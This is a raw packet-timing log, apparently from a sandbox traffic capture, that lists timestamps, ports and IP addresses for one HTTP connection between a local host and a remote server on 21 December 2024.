Dec 21, 2024 18:16:47.352308035 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.352355003 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.353444099 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.353555918 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.353604078 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.354682922 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.354726076 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.354737043 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.355134964 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.355884075 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.356005907 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.356057882 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.357081890 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.357213974 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.357264042 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.358223915 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.358351946 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.358397961 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.359436035 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.359486103 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.359553099 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.360625982 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.360676050 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.360742092 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.361763954 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.362240076 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.362334967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.362386942 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.363193035 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.363291979 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.363344908 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.364182949 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.364233017 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.493846893 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.493892908 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.493932009 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.493969917 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.493973017 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.494013071 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.494023085 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.495177031 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.495260000 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.495341063 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.496072054 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.496135950 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.496216059 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.497243881 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.497339010 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.497397900 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.497483969 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.498532057 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.498665094 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.498718977 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.499670029 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.499782085 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.499835968 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.501025915 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.501204967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.501307011 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.502029896 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.502147913 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.502203941 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.503240108 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.503376961 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.503390074 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.503520966 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.504439116 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.504487991 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.504612923 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.504658937 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.505630970 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.505693913 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.505734921 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.505779982 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.506921053 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.506995916 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.507045984 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.508025885 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.508131981 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.508182049 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.509227037 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.509280920 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.509301901 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.509485960 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.510464907 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.510569096 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.510601997 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.510620117 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.511652946 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.511688948 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.511749983 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.512886047 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.512944937 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.513000965 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.514050007 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.514151096 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.514209032 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.515206099 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.515249968 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.515305042 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.515362024 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.516402006 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.516437054 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.516489983 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.517581940 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.517683983 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.517735004 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.518927097 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.518981934 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.519037008 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.519082069 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.519989967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.520046949 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.520085096 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.520139933 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.521343946 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.521472931 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.521517038 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.522609949 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.522682905 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.522849083 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.523924112 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.524101973 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.524164915 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.524858952 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.524893045 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.524910927 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.524950027 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.526001930 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.526056051 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.526086092 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.526577950 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.527168036 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.527231932 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.527265072 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.527343988 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.528378010 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.528461933 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.528518915 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.529726028 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.529787064 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.529789925 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.529834032 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.530992985 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.531039000 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.531068087 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.531368017 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.531956911 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.532036066 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.532043934 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.532243013 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.533164978 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.533261061 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.533291101 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.533308029 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.534349918 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.534539938 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.534596920 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.535821915 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.535958052 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.536017895 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.537147045 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.537337065 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.537364960 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.537393093 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.538202047 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.538255930 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.538310051 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.539158106 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.539211035 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.539256096 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.540333986 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.540395021 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.540467978 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.541332960 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.541520119 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.541645050 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.541696072 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.542737961 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.542824030 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.542864084 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.543168068 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.543967962 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.544003010 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.544030905 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.544047117 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.545663118 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.545697927 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.545717955 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.545738935 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.546444893 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.546493053 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.546741009 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.547544956 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.547609091 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.547652960 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.548713923 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.548767090 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.548811913 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.549746037 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.549959898 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.550095081 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.550143957 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.551204920 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.551328897 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.551439047 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.551498890 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.552309990 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.552362919 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.552408934 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.552454948 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.553520918 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.553606033 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.553711891 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.553711891 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.554822922 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.554857016 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.554912090 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.555933952 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.556591034 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.693111897 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.693164110 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.693310022 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.693310022 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.693577051 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.693636894 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.693785906 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.693785906 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.694782972 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.694837093 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.694897890 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.696428061 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.696517944 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.696573973 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.696641922 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.696944952 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.696997881 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.697068930 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.697237015 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.698117018 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.698174953 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.698230982 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.698281050 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.699295998 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.699358940 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.699424028 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.699639082 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.700505972 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.700573921 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.700576067 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.700686932 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.701761007 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.701797009 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.701821089 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.701848030 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.702929020 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.702994108 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.703039885 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.703088045 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.704082012 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.704145908 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.704194069 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.704380989 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.705282927 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.705348015 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.705425978 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.705476046 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.706492901 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.706556082 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.706612110 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.706698895 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.707691908 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.707758904 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.707797050 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.707854033 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.708916903 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.709022045 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.709033966 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.709084034 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.710175991 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.710278034 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.710314989 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.710340023 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.711258888 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.711334944 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.711386919 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.711483955 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.712475061 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.712537050 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.712559938 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.712605953 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.713701010 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.713745117 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.713771105 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.713866949 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.715121031 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.715172052 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.715172052 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.715219975 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.716049910 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.716108084 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.716185093 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.716284037 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.717271090 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.717325926 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.717386007 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.717593908 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.718502998 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.718569040 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.718630075 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.718754053 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.719671011 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.719727039 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.719805956 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.719866037 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.720856905 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.720920086 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.721095085 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.721153975 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.721961975 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.722014904 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.722070932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.722124100 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.723103046 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.723156929 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.723218918 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.723350048 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.724184036 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.724246979 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.724304914 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.724461079 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.725364923 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.725425005 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.725481033 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.725543022 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.726429939 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.726480007 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.726541996 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.726593018 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.727539062 CET	80	49866	31.41.244.11	192.168.2.4
